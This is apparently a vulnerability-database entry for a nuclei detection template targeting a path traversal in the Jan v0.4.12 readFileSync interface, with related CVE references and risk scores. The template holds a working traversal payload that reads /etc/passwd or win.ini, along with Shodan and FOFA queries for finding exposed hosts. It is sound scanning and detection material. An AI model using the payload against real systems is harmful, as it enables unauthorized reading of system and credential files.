Lucene search
+L

Jan v0.4.12 'readFileSync' - Path Traversal

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 35 Views

Jan version 0.4.12 has a path traversal vulnerability in readFileSync allowing arbitrary file reads.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-36857
2 Feb 202500:00
–circl
cve
CVE
CVE-2024-36857
4 Jun 202418:26
–cve
cvelist
Cvelist
CVE-2024-36857
4 Jun 202418:26
–cvelist
euvd
EUVD
EUVD-2024-1932
4 Jun 202418:26
–euvd
github
Github Security Blog
Jan path traversal vulnerability
4 Jun 202421:32
–github
mend
Mend
CVE-2024-36857
4 Jun 202418:26
–mend
nvd
NVD
CVE-2024-36857
4 Jun 202419:20
–nvd
osv_cve
osv_cve
CVE-2024-36857
4 Jun 202419:20
–osv_cve
osv_ghsa
osv_ghsa
GHSA-5JQC-QJ57-4HRC Jan path traversal vulnerability
4 Jun 202421:32
–osv_ghsa
ptsecurity
Positive Technologies
PT-2024-27182
4 Jun 202400:00
–ptsecurity
Rows per page
id: CVE-2024-36857

info:
  name: Jan v0.4.12 'readFileSync' - Path Traversal
  author: Yusuf Amr
  severity: high
  description: |
    Jan v0.4.12 was discovered to contain an arbitrary file read vulnerability via the /v1/app/readFileSync interface.
  impact: |
    Unauthenticated attackers can read arbitrary files from the system via path traversal in the readFileSync interface.
  remediation: |
    Update Jan to a version later than v0.4.12 that patches the path traversal vulnerability.
  reference:
    - https://www.wiz.io/vulnerability-database/cve/cve-2024-36857
    - https://github.com/HackAllSec/CVEs/tree/main/Jan%20AFR%20vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-36857
    epss-score: 0.02054
    epss-percentile: 0.81117
    cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: http.favicon.hash:"-165268926"
    fofa-query: icon_hash="-165268926"
    vendor: homebrew
    product: jan
  tags: cve,cve2024,jan,lfi,vkev,vuln

http:
  - raw:
      - |
        POST /v1/app/readFileSync HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ["file:/../../../../../..{{path}}","utf-8"]

    payloads:
      path:
        - '/etc/passwd'
        - '/Windows/win.ini'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a0f2ee7883b976e0275d9f641454b2090886ee2b7f05e09a696e543df26d36bf022100fbdc10c1213fc681482df5cea9e6a861b9f85e4f70e73313343e9c065d5e92f4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
EPSS0.02054
SSVC
35